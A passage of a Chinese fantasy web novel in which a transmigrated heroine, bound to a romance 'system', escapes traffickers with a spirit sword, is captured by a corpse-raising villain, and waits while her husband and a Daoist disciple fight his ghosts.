被阵法压制的凶尸哭声越发尖锐刺耳,江荨目光看回凶尸,谢玄淮扫了她一眼,也懒得再和她争吵。
恰巧此时,沈如珩也过来了,他将手中悬着铃铛的红绳递给江荨,道:“师妹,事不宜迟,先将凶尸收了再说。”
江荨点头道:“嗯。”
她接过红绳的另一端,和沈如珩分开两边,用红绳将所有的凶尸捆到一起,铃铛在风中轻微作响,发出清脆悦耳的声音,沈如珩再祭出宝塔将凶尸收进塔中施法封印。
两人动作干净利落,整个过程不过一分钟,柳凝雪不禁感叹原书男女主的魅力,连捆个凶尸都这么引人注目。
“很好看吗?”谢玄淮忽地出现在柳凝雪身边,语气幽幽道。
柳凝雪随心答道:“嗯。”
谢玄淮便顺着她的目光看向沈如珩,沈如珩身姿玉立,将自己打理得一丝不苟,颇有几分魏晋遗风,翩翩君子,如磋如磨,引得情窦初开的少女心动也再正常不过。
谢玄淮收回视线,落在少女皎若明月的脸庞上,她无论是看谁都是这般春光明媚的样子,眼眸亮盈盈,清澈动人。
只这一眼就看得谢玄淮升起无名怒火,不该心软的,他心底勾起一抹冷笑。
沈如珩收好宝塔,就听一旁传来谢玄淮带着冷意的声音,道:“沈公子这般厉害,不如将前面山头的凶尸一并收了吧。”
说完,前方果然传来隐隐约约的鬼哭声,幽怨绵长,听声音起伏,数量不在少数。
沈如珩想也没想,便道:“好。”
“等等。”柳凝雪忽然道,她看向江荨说:“凶尸数量过多,是否会过于危险?不如先传信回上京,让司灵监的人来了,再一并将凶尸收完。”
这也是江荨忧虑的事,但多等一分钟便可能有人会遇害,今晚凶尸突然增多,始料未及,身负职责,她等不得,“放心吧,世子妃,我和师兄修为不低,拖到司灵监的人过来没有问题,此处已然不安全了,我的剑尚留在院子里,世子妃回去将我的剑取出,它自会护你无虞,无人能害你。”
话落,江荨看了谢玄淮一眼,谢玄淮冷声道:“江小姐,这话说得,我的世子妃,我自会护好,就不劳江小姐费心了。”
江荨定定地看着他,“但愿。”
柳凝雪看着她转身离去,心里却总觉得有些不对劲,今晚这些凶尸来得太突然了,她想起半夜离开院子的刘子闻,这件事会和他有关系吗?他到底要做什么?想要杀人灭口,好没人阻止他的计划吗?
可这根本不像刘子闻的作风,柳凝雪想着侧目望向谢玄淮,刚看一眼,他凉凉的声音就在耳畔响起,道:“世子妃这么看我作甚?莫不是怀疑今晚的凶尸和我有关?”
柳凝雪有些许心虚地收回目光,吞吞吐吐地对他说:“有没有关,你自己心里清楚。”
谢玄淮漆黑的眼眸沉了下来,露出几分阴狠毒辣,道:“你该庆幸今晚我没有出手,否则就不是一堆凶尸这么简单了。”
说完,他又冷哼一声,道:“世子妃,你这么担心别人,不如多担心你自己。”
“我……”柳凝雪一时哑言,难道她错怪他了?但无论如何,他想要杀自己的心还是没变,不防不行,这么一想,这攻略任务怎么那么难,而且系统也不给个进度条什么的,以现在谢玄淮的态度来看,他对她的好感度肯定已经到负数了。
柳凝雪讪讪道:“我……我这是……唉,我们先会院子取剑吧,这里看起来不太安全的样子。”
言罢,柳凝雪便匆匆地转身离去,仿佛身后的人是什么吃人的魔鬼。
院子离此处并不远,柳凝雪跑回来并不用多久,谢玄淮悠哉游哉地跟在她的身后,奇怪的是无论柳凝雪跑多快,他总能在某一刻追上来。
柳凝雪进到院子里,毫不犹豫就将苍生剑拔了起来,苍生剑并不排斥她,在她手里泛着莹莹蓝光。
但就在她拔出苍生剑的同时,法阵一动,四周的邪祟之气便以极快的速度汇聚过来,在院子的上方形成一团黑屋。
“我去!”柳凝雪大喊一声,忍住骂人的冲动,道:“怎么一下子冲来这么多脏东西啊?”
话音刚落,屋檐上就爬出几个红衣女鬼,渐渐地几间
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屋子的屋顶都被女鬼占满了。
柳凝雪紧紧抱住手中的剑,她回头一看,谢玄淮脸色淡定无比,似乎对眼前出现的东西并不感到意外,柳凝雪想,他肯定是知道什么的。
谢玄淮看着屋顶上的女鬼不动,柳凝雪也跟着不动,以现在的情况看来,跟着谢玄淮才是最好的选择,即使他很危险,但这些女鬼跟危险。
柳凝雪抱着剑挪到他身边,问道:“怎么回事啊?他到底要干什么?”
谢玄淮半是玩笑半是认真,道:“不明显吗?杀人灭口啊。”
柳凝雪看着那些女鬼,道:“我们打得过吗?太多了吧?他怎么养的?”
不待她说完,那些女鬼便从屋顶爬了下来,她们速度比之前的还要快,狰狞扭曲的面目恐怖至极。
柳凝雪忙祭出苍生剑去应付她们,有灵剑护体,她自不用多虑,可谢玄淮的情况却没有那么乐观了,他只能反复消耗符纸结印布阵,眼看着他手中的符纸越来越少,也越来越吃力了,柳凝雪一咬牙,将手中的玉佩丢给了他,道:“谢玄淮!接着!”
这枚玉佩有驱退邪祟的功能,足以保谢玄淮无碍,谢玄淮接过玉佩,恰好此时符纸也已用尽,在接到玉佩的第一刻,他便感到一阵熟悉感,好像这个东西本来就是他的,不用多问,他就熟练地开始用玉佩布阵了。
碧绿的玉佩在他手中旋转着,随着他的结印动作,十几张青色符纸从玉佩里飞出将女鬼团团围住,玉符有灵,随心而动,不过顷刻间便把女鬼消灭殆尽。
在灵符的围剿下,女鬼化成了一团团黑烟消散,只留下一地的红嫁衣。
柳凝雪收回苍生剑,第一件事就是问谢玄淮要回玉佩,她朝他伸出手道:“好了,现在把玉佩还给我吧。”
谢玄淮打量了几眼手中的玉佩,方看向她,说:“我为何会对这玉佩有一股熟悉感?”
柳凝雪心想,这本是你的东西,当然会有一种熟悉感,但这也是我来到的媒介,自然也不可能轻易就还给你。
想罢,她道:“嗯……你管那么多做什么?反正将玉佩还给我。”
说着,柳凝雪便上前一步,将他手中的玉佩给夺了过来。
谢玄淮不动,看着她将玉佩拿走,心里也多了几分好奇,此前只以为这是情郎送她的,没想到竟还有这般功能,也难怪她视这玉佩如命了。
如此看来,她那位情郎岂不是很厉害?
谢玄淮盯着柳凝雪不语,见她珍重地将玉佩挂回腰上,心里忽然有那么几分不是滋味,她都已经嫁给他了。
他心中如是想,还肖像着别的男人呢?
这么一想,谢玄淮又气笑了,与他何干,他何须在乎?
可他的神情还是沉了几分,看柳凝雪的眼神也多了些许怨气,一言不发转身离去,莫名奇妙的甩脸色让柳凝雪只觉疑惑,自己哪里又惹他了?
自己还在原地不解,人却已经越走越远了,她顾不得其他,忙追了上去,喊道:“谢玄淮!你等等我啊!”
13. 谋划(三)
谢玄淮本就身量高,这么一大跨步地走,柳凝雪至少要小跑才能追上他。
她在后边边追边喊道:“喂!谢玄淮!你等等我啊!”
谢玄淮对她的话充耳不闻,只一味望前走,柳凝雪在心里把他骂十八遍,又咬着牙追上他。
柳凝雪埋头跑着,结果不知道谢玄淮为什么突然停了下来,让她硬生生地撞了过去。
谢玄淮被撞得分毫不动,她自己却是往后退了好几步,柳凝雪一股火气蹭地一下从心底升起,刚要质问他,忽见他转过身来。
深沉平和的眉眼,清淡的眸子,竟有几分像他,柳凝雪一时看愣了眼,转念便忘了自己要说什么。
“谢玄淮……”她轻轻喊着他的名字,眼里是迸发出的喜欢情难自禁。
谢玄淮眉梢轻挑,“嗯?”
更像了。
柳凝雪怔怔地看着他,几乎忘了动作,谢玄淮很是享受她这样的反应,唇角微微勾起,可在看到她眼里越发浓烈的喜欢时,那股违心的厌恶与恶心又漫上心头,面上不免露出几分厌烦。
谢玄淮蹙眉冷声道:“看够了吗?”
他忍下心中的反感,尽量使自己忽视这种感觉的存在,面对着柳凝雪。
方才谢玄淮的神情与他无二,往事浮上心头,令她停滞片刻,思绪被他冰冷的声线拉回,郁闷道:“怎么又生气了?”
柳凝雪清亮的眸子看着他,试图在他身上再找到关于他的影子,这样的目光却让谢玄淮讨厌至极。
他脸色更沉了,带着不耐烦一字一句道:“你能不能别这么看着我?”
说完,还不等柳凝雪开口,谢玄淮便转身离开了。
“我……”柳凝雪站在原地有些无措,问道:“我哪样看着你?”
前面的人只是走着,一语不发,柳凝雪被他气得脸红,“我!”
话只说出一个字,后面的脏话全部让她咽回了肚子里,要不是为了攻略,要不是为了活命,你算个鸟啊?
柳凝雪气得脸上扬起一抹笑,咬牙道:“好,你说什么就是什么。”
按现在的进程来看,柳凝雪觉得两人的关系恶劣到了极点,说不定那个疯子一个不开心就将自己掐死在这里也是有可能的。
为了活命亦为攻略,柳凝雪绞尽脑汁想着对策,示好怎么样?反正也就说两句话的事。
这么想着,柳凝雪小跑到他身边,说:“世子,世子?你累不累啊?”
她很少会叫他世子,谢玄淮低眸看了她一眼,不为所动地往前走。
柳凝雪依旧在自顾自地说个不停,“世子,你看这里邪祟之气是不是很重啊?”
“世子,走了这么久,我们要不要停下来休息一下?”
“世子……”
“说够了吗?”谢玄淮神情已然不耐烦,他停下脚步,低头看着柳凝雪。
对上他仿佛要吃人的眼神,柳凝雪忙道:“说够了说够了。”
谢玄淮冷笑一声道:“既然你想要休息,那你就留在这里好好休息吧。”
柳凝雪还没反应过来他话里是什么意思,就见他借着石头树枝三两下就飞到了树上,隐入黑暗中,一下子就没了人影。
柳凝雪急得在原地跺脚,大喊:“喂!!!谢玄淮!!!”
又把她丢下,简直是畜生不如!
柳凝雪气得牙痒痒,恨不得将谢玄淮大卸八块才解恨!
山林一片漆黑,柳凝雪抱着苍生剑茫然地看着周围,正想继续走,忽然有人在身后拍了拍她的肩膀。
柳凝雪喊道:“谁啊?”
说着她一转过头去,就见有人拿着麻袋往她身上套,她奋力挣扎了几下,大喊:“放开我!你们知道我是谁吗?快点放开我!唔唔唔!”
“吵死了!安静点!”拐她的粗汉男子烦燥地将一把粉往麻袋上扑,不出片刻,麻袋里的人就没了声响。
那粗汉男子看了周围一圈,再鬼鬼祟祟地将袋口绑紧,生怕被人看到他犯事过程。
确定安全过后,他再扛起麻袋迅速离去。
——
潮湿的空气中泛着一股刺鼻的霉味,狭小的空间里伸手不见五指,柳凝雪被连人带剑一齐绑得严严实实地靠在墙上。
外面隐隐约约传来他人刻意压低的交谈声。
“怎么样?那个娘们醒了吗?都怪你,下手那么狠,撒那么粉干嘛?粉不要钱啊?”
“还没,这能怪我吗?要不是她挣扎得太厉害,还有她抱着的那把剑死都弄不出来,别人一碰还烧手,只能连人带剑一齐绑起来了。”
“别管了别管了,凭她那样貌可能卖不少钱,嘿!别说,你那儿子还挺会看人的。”
“那是,你也不看我儿子随谁,那日他在村日撞到她,回来就和我说要她当娘,能让我儿子看上当娘的,差不了。”
说着便起了一阵□□声,柳凝雪被这些声音吵得皱起眉头,吸过粉后的脑袋又晕又痛,她勉力睁开眼睛想要看清周围环境,却发现眼前一片漆黑。
“叮叮叮——叮叮叮——”
耳边忽然响起铃铛一般的脆响,柳凝雪转头看去,苍生剑也在此时亮起了耀目的蓝光。
看到剑,柳凝雪的心稍稍安定下来,她用脸蹭了蹭剑柄,宽慰道:“还好有你。”
柳凝雪呼了口气,费力动了动身体,以抱剑的姿势被绑着极为难受,现在她的双臂已经发麻发痛了。
她挣扎了几下无果,额上也冒出细细薄汗,叹气道:“唉!”
就在柳凝雪无计可施时,苍生剑又动了动,发出叮叮叮的响声,她不禁低头看去,剑却还在响动着,柳凝雪忽然明白了什么。
柳凝雪说:“苍生剑,你可以帮我割断绳子?”
苍生剑似在响应她,又叮了一下。
柳凝雪一喜,道:“那快快快,快割开绳子。”
苍生剑应声从剑鞘里飞出,柳凝雪借着光转过身,将绳结对着它,紧接着就是锵一声响起,绳子便被斩断了。
重获自由的柳凝雪忙将身上剩余的绳子扒拉下来,拿着剑站起身。
靠着剑光,柳凝雪终于将周围打量清楚了,这里空间狭小,角落里放着几个酒坛,头顶空间距离不过两寸。
柳凝雪用剑柄捅了捅天花板,发出笃笃笃的声响。
她心里想,是木的。
柳凝雪举剑将天花板照了一圈,发现有一块地板周边有划痕,她断定这就是出去的门。
现下外面的情况还不明朗,她也不能冒然出去,思索片刻,柳凝雪和苍生剑商量道:“苍生剑,你能不能帮我去探探外面的情况?”
苍生剑发出叮叮两声,柳凝雪面上一喜,下一刻,苍生剑
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就脱鞘而出缩小成拇指大小从缝隙中滑走。
不同于地窖里的黑暗,外面一片光明,且屋子里同样绑着好几个和柳凝雪同样被拐的女子。
她们都被迷药迷晕七散八乱地倒在地上,不省人事,苍生剑在屋里逛了一圈,才从门缝下出去。
院子脏乱荒废,杂草丛生,一看便知这是被人废弃很久,苍生剑探查完后就迅速返回。
柳凝雪枯坐着,就在此时,一道蓝光重新亮起,苍生剑从缝隙进来后就变回了原样,柳凝雪眼前一亮,问道:“外面怎么样?安全否?”
苍生剑发出叮叮两声,柳凝雪欣喜不已,道:“那我们赶紧出去吧,待在这里快闷死我了。”
说着,柳凝雪便施法运剑将地门破开,砰一声响起,木门被破,天光瞬间散落进来,刺得她眯起双眼。
地下没有阶梯,柳凝雪挽起双袖,先将苍生剑丢了上去,再双手攀上地板,费劲地爬出来。
屋里有几位女子被她的动作给吵醒,纷纷坐起身来,迷茫地看着从地窖爬上来的柳凝雪。
柳凝雪同样迷茫不已,苍生剑也没告诉她外面有这么多人啊!
她脸色讪讪压低了声音问它,“苍生剑,这是怎么回事啊?”
而此时的苍生剑却静静地躺在地上,柳凝雪呵呵两声。
她拿起地上的剑,正欲往外走,但就在她要踏出门一步时,手中的苍生剑突然变得有千斤重,柳凝雪被手上的重量带着倒在了地上。
她极为不解地看着苍生剑,道:“不是,你怎么回事啊?怎么突然之间掉链子?”
柳凝雪重新站起来,双手握住剑身,可苍生剑就好像钉在了地上一般,无论怎么样都拿不动。
柳凝雪丧气地坐到地上,斥责它道:“关键时刻耍什么脾气啊?”
想了片刻,柳凝雪也想不出个所以然来,她往屋里坐进去,试着拿起它,结果这一次却轻松拿了起来。
柳凝雪脸上顿喜,拿着剑站起来,可当她迈出屋子一步的时候,苍生剑又变成了千斤重,带着她倒下去。
柳凝雪气骂一声,“我去,我草。”
她奇怪的举动引起了屋中女子的注意,有女子疑惑问:“姑娘,你这是做什么?”
柳凝雪闻声回头看去,只见屋里的女子都睁着好奇的眼睛看着她,出来时,她便注意到了她们,柳凝雪问道:“你们也是被拐过来的?”
听完,她们的脸色变了变,其中有一位女子应道:“是的,我们都是被骗或者被拐来的。”
柳凝雪道:“那你们知道他们要干什么吗?”
说话的女子沉默了下,随即摇了摇头。
然而此时的苍生剑却响了起来,这次的响声稍显急促,昭示着不平。
柳凝雪突然明白了什么,指着那些女子道:“你想让我救她们?”
话落,又是叮叮两声响起。
苍生剑之所以名为苍生,就是因为它心系苍生,遇难必救,若是此难不解,它便一直守在原地直至危难解决。
也因此,苍生剑虽威力巨大,但极难操控。
可柳凝雪又不是什么心系苍生之人,她自己都小命难保,还要去管别人的死活做甚?
柳凝雪想着站了起来,道:“我无能为力,你想救她们就留下吧。”
说完,柳凝雪便离开了。
14. 谋划(四)
一刻钟后,柳凝雪又返回了这间屋子,将地上的苍生剑捡起来,对里面的女子道:“跟我离开这里。”
听到这话的女子们两眼顿时发亮,可很快又黯淡下来,有女子说道:“可是他们早就将院子的门给锁紧了,且外面也有人在把守,之前有姐妹逃出去过,但……再也回不来了。”
这里的回不来并不是指她已经逃出去,而是可能死于非命,如若不是如此,她们早就逃走了,何至于等到现在。
柳凝雪叹了口气,道:“相信我。”
说是相信她,倒不如说是相信苍生剑,众女子见她目光坚定,神情不似说假,一时便有几位女子动心了,朝她说:“我相信你,我跟你走!”
有一个人应了,其他人也纷纷响应起来,与其待在这里被折磨,倒不如拼一拼。
--
天光已然明亮,枝头的鸟雀吱吱喳喳地叫个不停,收了一夜的凶尸,司灵监的大多数人都不堪重负,齐齐在地上坐了下来,江荨脑袋发晕,痛得几乎要炸开,她两眼泛黑,身体禁不住一晃,一旁的沈如珩手疾眼快地接住了她,担忧道:“师妹,你累了,先休息一下吧。”
江荨点头,任由沈如珩将她扶着坐了下来,接着他又给她递了个水囊,道:“喝水,师妹。”
江荨:“嗯。”
她接过水囊喝了一口,又问道:“查到凶尸的源头了吗?昨晚的凶尸出现得实在太奇怪了。”
沈如珩道:“还没有……”
江荨听完望前看去,忽见一个红白相间的身影朝这边走来,她眉头微蹙起,道:“谢……世子?他怎么在这里?”
沈如珩也看到了谢玄淮,他不紧不慢地向他们走来,对他们说道:“柳凝雪不见了。”
他语气平淡地出奇,根本听不出一点因为妻子丢失而感到的伤心。
江荨眉头蹙得更深了,问道:“世子妃是怎么不见的?谢世子你不是说你会护好她的吗?怎么转眼就不见了?”
谢玄淮道:“我很愧疚没有看好世子妃,护好她,现如今她已经与我走散,再不找到她的话,可能就会有危险了,倘若失去她的话,我肯定悲痛至极。”
他说着,幽深的眸子微敛,好奇地看着他们的反应,自诩名门正派,修道只为苍生的道门弟子,是否会在自己精疲力尽的时候还会在乎一个交往并不多的陌生人,还是说他们所谓的为苍生就只是说说而已。
成夜的劳累让江荨头痛欲裂,可柳凝雪这条人命她又不能不管,她能感受到苍生剑的异动,这就说明至少此时柳凝雪是被苍生剑护着的,她提起的心又稍稍落了下来。
江荨撑着地面正要站起来,沈如珩却抓住了她的手腕,说道:“师妹,你已经很累了。”
“我去找世子妃。”
谢玄淮看到此景,嘴角提起一抹笑,真有意思。
江荨没有勉强,点了点头,道:“师兄小心。”
沈如珩站起身,对谢玄淮道:“世子,还请与我同行。”
--
一片天光散落院中,柳凝雪握紧了手中的剑,带着她们来到院门前,院门被人用铁链锁了起来,柳凝雪迅速拔出苍生奋力一劈,铁链瞬间就被斩得粉碎。
身后的女子一脸欣喜地看着锁掉的铁链,道:“碎了碎了!真的碎了。”
柳凝雪也颇为高兴,但随之而来的却有些许不安,还未等她想明白这不安从何而来,外面就传来一阵爆破声,声响如雷,柳凝雪脸色一变,女子们也跟着害怕起来,低声询问身边的同伴,“这是怎么回事啊?”
柳凝雪毫不犹豫地将院门打开,结果却看到了一地的尸体,那些尸体死状恐怖,整颗头是被人硬生生拧下来的,所以才会显得切口不平整,后面不知道谁大喊了一句,“死人了!”
这一喊,让其他人也跟着慌乱起来,柳凝雪忙转身安抚她们道:“别怕别怕,我们先走。”
尽管自己的手心都已出汗了,但柳凝雪还是尽量维持着镇定,她现在是她们的主心骨,她不能慌也不可以慌。
“走?”巷子拐角处忽然传出一声轻笑,紧接着,一个蓝衣墨发,身量修长的人从巷子里走了出来,春日巷子口的垂杨柳挡在了他的面前,他便抬手掀开了柳枝,露出柳枝后那惊艳绝伦的面容。
刘子闻扫了她们一行人一眼,淡声道:“世子妃,恐怕你还不能走这么快。”
这话一出,柳凝雪就知道他是冲着自己来的,她道:“我可以留下,但是你要放她们离开,她们是无辜的。”
刘子闻道:“自然,世子妃不用紧张,我只是想请你去我那里做一下客而已。”
柳凝雪打量了刘子闻一眼,转身对身后的女子们说道:“你们先走吧,他不会害你们的。”
她们迟疑了一下,旋即便有人喊道:“姑娘的恩情我不会忘记的!多谢姑娘救命之恩!”
待人都散尽,柳凝雪才看回刘子闻,问道:“你要做什么?”
刘子闻笑了笑,道:“世子妃倒是性情中人,请。”
柳凝雪狐疑地看着他,望前走了几步到他身边,结果手中的灵剑突然剧烈震动起来,除了江荨,这天下还没有人能够驾驭苍生剑,更何况柳凝雪灵力低微,便更压制不住了,苍生剑猛地出鞘,以雷霆万钧之势朝刘子闻刺去。
柳凝雪大惊失色,喊道:“苍生剑!”
刘子闻脸色平静,并为因突如其来的变化而慌张无措,他左躲右闪,紧接着他手速极快地从衣袖里取出一个银铃,握着手中微微一摇,银铃便叮铃作响。
招邪铃?
柳凝雪蹙起秀眉看他,原著里提到过刘子闻有一个招邪铃,想来就是这个了。
招邪铃顾名思义就是招来邪祟的铃铛,威力极大,事不宜迟,招邪铃比原著更早出现了,她现在已经没有时间再去找机会揭穿他,只能直接告诉江荨。
可就在柳凝雪趁机要用传
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信符的时候,刘子闻不知何时出现在她的身后,一把拽住了她的手,冷声道:“世子妃,恐怕这传信符,你是用不了了。”
柳凝雪听完却笑了起来,道:“不一定哦。”
刘子闻脸色微变,下一秒,柳凝雪腰间的玉佩就迸发出一阵青光,将他弹出几米开外,刘子闻撑着地面做起来,噗一声吐出一口浓血,他不解道:“怎么回事?”
柳凝雪将传信符烧完,对他道:“嗯……知道对你又没好处。”
说完,柳凝雪转头去找被邪祟缠住的苍生剑,可刘子闻何其聪明,他一下子就意识到是自己手上铃铛的问题,随即他将铃铛丢弃去抓柳凝雪。
柳凝雪意识到他的动作,面上一惊,慌忙跑了起来,喊道:“我去,你都受这么重的伤了!”
术法对有邪气的东西有用,但对普通人没有用,如今苍生剑被困着,她只能用命去跑。
刘子闻边奋力追她边恨恨道:“你要怪就怪你那位好夫君,如果不是他,我说不定可以放你们一马。”
刘子闻冷笑了几声,道:“谁让他总是把事情做得太绝,他既然不把你们的命放在心上,那我又何须多虑。”
柳凝雪大喊道:“如果我没说错的话,你就是敬王府的管家吧!”
刘子闻冷声道:“确实,抓到你了。”
话落,柳凝雪就感觉手腕上一紧,不知何时,刘子闻已经追上了她,他拽着她的手腕往后一带,将她放倒在地。
柳凝雪跌在地上,刚坐起身就有一把短刃架到自己的脖子上,她吓得浑身一震,呆坐在原地不敢动。
刘子闻笑道:“世子妃这都能猜到我的身份,属实令我惊讶。”
倒不是她能猜得出来,只是因为她看过原著,知道他的真实身份。
冒着寒光的短刃又逼近了一寸,柳凝雪慌忙说道:“等等等,有话好好说,有话好好说……”
刘子闻冷哼一声,道:“现在知道要好好和我说话了?方才不是跑得很快吗?”
柳凝雪听完脸上讪讪一笑,道:“刚才……那个……意外……嘿嘿……”
说完,她就见刘子闻扯下了他头上的发带,用发带将她的双手绑住,这一下,让她着急地喊了起来,道:“喂喂喂,我没有你那些奇奇怪怪的爱好啊!”
刘子闻将她带走后,又随手扯下凶尸的一条后发带蒙住了她的眼睛,这时,柳凝雪又嚷嚷起来道:“喂喂喂!你这不行!没经过消毒,会感染的!”
刘子闻被她吵得不耐烦了,气道:“闭嘴!再吵,我就拿凶尸的布堵住你的嘴!”
这下柳凝雪不敢再出声说话了,乖乖地跟着刘子闻走。
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燃着熏香的房屋里静谧无比,房间装饰精致,风雅秀丽,躺在床上的女子双眸紧闭,睡容安宁,连夜的疲劳终于得到了宽慰,江荨这一觉睡得极沉,可就在这时,她放在桌上和柳凝雪有关的传信符却化作飞灰烟灭。
15. 谋划(五)
刘子闻要带她去的地方似乎有点远,柳凝雪走的要腿麻了,他才在一个地方停下,对她说:“世子妃,这几天就委屈你待着这里了。”
柳凝雪又被他带着去到一间屋子里,一进到屋就感受到黑暗扑面而来,她毫不怀疑刘子闻将她关进了一个小黑屋里。
他让她坐在一张凳子上,再用绳子将她的手脚绑住,忙碌了一通,却没有要将脸上纱布解开的意思,柳凝雪撇了撇嘴,问道:“我能不能问一下,你为什么要将我绑到这里啊?你想要杀人灭口,大可以将我就地解决了,何必花这么费劲。”
刘子闻将她手脚绑好后,不紧不慢地说道:“身为世子妃,你自是谢玄淮最亲近的人,他将我逼至此地步,我只好赌一下他心中有没有你的位置了,若是没有,世子妃死后也还请不要怨我。”
柳凝雪却笑了笑,道:“那你还真赌错了,我这个世子妃自嫁进府来就不受他待见,我是死是活,他肯定不会在意。”
刘子闻说:“在不在意的,你说了不算,得看谢玄淮的反应,我这么多年来养的凶尸给他毁了一半,不找点好处回来怎行?”
“凶尸?”柳凝雪顿了一下,忽然想到什么全身起鸡皮疙瘩的事,说:“不会是你养在佛堂的那几个女鬼吧?”
刘子闻道:“那几个倒还只是其次,昨晚他的一张符可炸了我不少。”
柳凝雪心里愤愤地想,还不是你先招鬼来杀我们灭口的?
“世子妃还有什么要问的吗?”似乎知道她是必死之人,刘子闻对她也多了几分耐心。
柳凝雪想了片刻,问:“在王府的时候,你我并不相识,为什么要派若蝉来杀我?”
刘子闻道:“世子妃可知我养的凶尸为什么多为女子?她们生前嫁给自己的丈夫,最后无一不落得个被打杀的下场,而往往这种人死后的怨气是最大的,做成的凶尸自然也最厉害,你被谢玄淮冷落至此,怨气不大?”
他最后一句是个很奇妙的反问,柳凝雪觉得他说得没错,她也确实有怨气,但更多不是对谢玄淮,而是对那个莫名其妙让她重新开始攻略的系统。
刘子闻也懒得再和她浪费时间了,说完便走出了屋子。
听着他关门的动静,柳凝雪在心里暗暗祈祷着江荨能快点接到自己传的消息来救她。
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沈如珩跟着谢玄淮在山里左走右走,眼看着日上中头了,也没见柳凝雪一点人影,他疑惑道:“谢世子,这里当真能找到世子妃的人吗?”
谢玄淮眉梢轻挑,道:“不信我?”
随即,他两指取出一张符纸,念了一句咒语,符纸便从他指间脱落往一个方向飞去,他说:“现在信我了吗?”
沈如珩看了眼符纸,道:“追踪符?”
追踪符是道门弟子常用的,只要取得特定的媒介,就可以追踪到自己想找的东西,沈如珩不疑有他,说:“既如此,救人要紧,谢世子快走吧。”
山路多崎岖,传信符是谢玄淮发的,也只有他能感受到,沈如珩只能跟着他走,可他这一路弯弯绕绕的,让人不禁蹙眉怀疑他是不是故意的。
沈如珩忍不住开口问:“谢世子,还要多久才到?”
说完,他抬头看了一眼天色,天空已经完全暗沉下来了,因捉鬼一事,他本就没怎么休息,如今被谢玄淮这么一耽误,便更加疲惫了。
谢玄淮在一出山顶上停下,道:“到了。”
听到此话,沈如珩忙上前来观看,只见山脚下立着几间屋子,孤零零的,周围全是树林,除此以外再无他人。
沈如珩道:“去救人。”
话落,他就运轻功从山顶飞了下去,谢玄淮却在山顶上,幽深的眸子微垂看着底下的树林,观察了一会儿才下去。
黑暗的屋里并未点灯,隐在深林里透着一股诡异感,沈如珩下来后便用符纸探了周围一圈,不出意外的,灵符自燃起来,而且燃烧的速度极快,,谢玄淮看着这不出片刻便化成灰烬的符纸,道:“看来,这里不简单啊。”
沈如珩未多语,对谢玄淮道:“世子小心。”
刚说完,林中突然起了一阵邪风,刮来刺鼻难闻的腐臭气息,两人忙抬袖捂住口鼻,紧接着就是一串叮铃铃叮铃铃的铃铛响,沈如珩警惕地看着四周,忽地,一只女鬼突然从谢玄淮身后扑过来,他忙喊道:“谢世子小心!”
说时迟那时快,他已经抽出手中的剑刺向了那只女鬼,谢玄淮被他推往一旁,女鬼的利爪抓在沈如珩的剑上,发出刺耳的摩擦声。
沈如珩道:“谢世子先去救世子妃,这里有我应付。”
话刚说完,谢玄淮便转身离开了,走得彻底,毫不犹豫。
柳凝雪所在的屋子安静至极,针落可闻,她自然也听到了外面的打斗声,还有鬼怪的惨叫声,她试着动了动手脚,无奈刘子闻绑得太紧了,她根本弄不开,苍生剑也不知道被刘子闻搞到了那里去。
柳凝雪正不安分地动着,下一刻,她便听到了屋外的脚步声,立即安静了下来,凝神听着外面的动静。
谢玄淮绕着廊下走着,方才他已检查过,这里四面挂着招邪铃,墙壁上画着辟邪阵,处处布置精心,应当就是刘子闻的老巢了,也不枉他煞费苦心毁他一半凶尸,再激他抓走柳凝雪,找到他的老巢。
自以为抓走柳凝雪就可以和他谈交易,真是可笑。
转过拐角,屋门前正见一人站立于檐下,听到声响,刘子闻转过身来,看向谢玄淮,他右手两指间正掐着一张符,正是谢玄淮用出的追踪符。
刘子闻手轻轻一挥,符纸便作烟灰飞散,他微微笑道:“世子,别来无恙。”
谢玄淮抱臂站在他的对面,亦是淡淡笑着说:“早点说出你的老巢在这里,我就不用这么费心了。”
刘子闻道:“能让世子如此费心,是在下的福气。”
谢玄淮弹了弹衣袖
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上并不存在的灰尘,对他说:“趁现在我还有耐心,请说出你的遗言。”
刘子闻笑道:“世子,相逢一场当真做到这个地步吗?”
谢玄淮道:“做到什么地步还得看林管家对我好到什么程度,自林管家进府一来,这每晚来探访我的人多得不行,也是让王府一下子热闹了不少,我还得多谢林管家呢。”
林闻是刘子闻为了进敬王府时用的化名,敬王府怨气极重,是极好的养凶尸的地方,而谢玄淮的怨气之大,足以养成这世上最强大的凶尸,为此,他一直想置他于死地,可他低估了谢玄淮的实力,没把他整死,反而将自己几年的心血给搞没了。
刘子闻微笑着说:“世子如此恨我,那为何在当时不拆穿我身份?”
谢玄淮冷嗤一声,道:“恨?你也配?不拆穿你是因为我也一样喜欢自己动手。”
话落,谢玄淮便是一张袖箭打出,他武功高深,刘子闻堪堪躲过,脸上却还是被划出了一道血痕,他抬手抹了一把脸上滴落的血珠,道:“世子当真无情。”
说着,他从袖里取出一枚银铃急促地摇响起来,围着沈如珩缠斗的女鬼听到铃声便齐齐向他们这边聚来,铃声虽急促而有节奏,好像在下命令一般。
那些女鬼听了果然都只围着谢玄淮攻击,一双一双地利爪不断地往他身上扑,谢玄淮身法了得,就算被群击,也能快速地结印布阵,沈如珩见状,忙上前来助他,解了他的困境。
刘子闻铃铛摇得越急,围过来的鬼怪就越多,谢玄淮听得头疼,眉头紧皱盯着他,眼中杀意更甚,沈如珩看出了他的意图,对他道:“谢世子,我掩护你。”
谢玄淮点头转身避开女鬼的攻击,直取刘子闻,刘子闻看出他的意图,便将铃铛一慢一快地摇起来,女鬼也改变了攻击目标冲向谢玄淮。
可就算女鬼的攻势再如何,沈如珩的剑也不是吃素的,一挑一横间,就把一个女鬼斩于剑下。
有沈如珩的帮助,谢玄淮可谓如虎添翼,不过三两下就到了刘子闻面前,刘子闻还欲再躲,可武力不济,没几下就被谢玄淮擒住,不仅铃铛被抢走,人也被一脚踹到在地。
谢玄淮拿着这只铃铛,没有一丝犹豫,手下一用力,砰的一声便捏碎了。
他冷冷道:“杂碎。”
屋子的墙壁并不隔音,所以柳凝雪即使身处黑暗,看不见也听得到外面的声音,谢玄淮他们的动作她自然也全都收入耳中,以现在的形势看来,谢玄淮他们处于上风。
柳凝雪试着喊了一声,“苍生剑?苍生剑。”
片刻后,屋里才响起苍生剑低沉的嗡鸣声,也不知刘子闻用了什么办法困住了苍生剑,时间一分一秒的流逝,她心里也渐渐紧张起来,按原著的发展来看,刘子闻不久之后便会屠村,但他提前催动了凶尸,难保屠村不会提前。
只希望江荨能快点收到消息带人前来阻止刘子闻的计谋。
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16. 谋划(六)
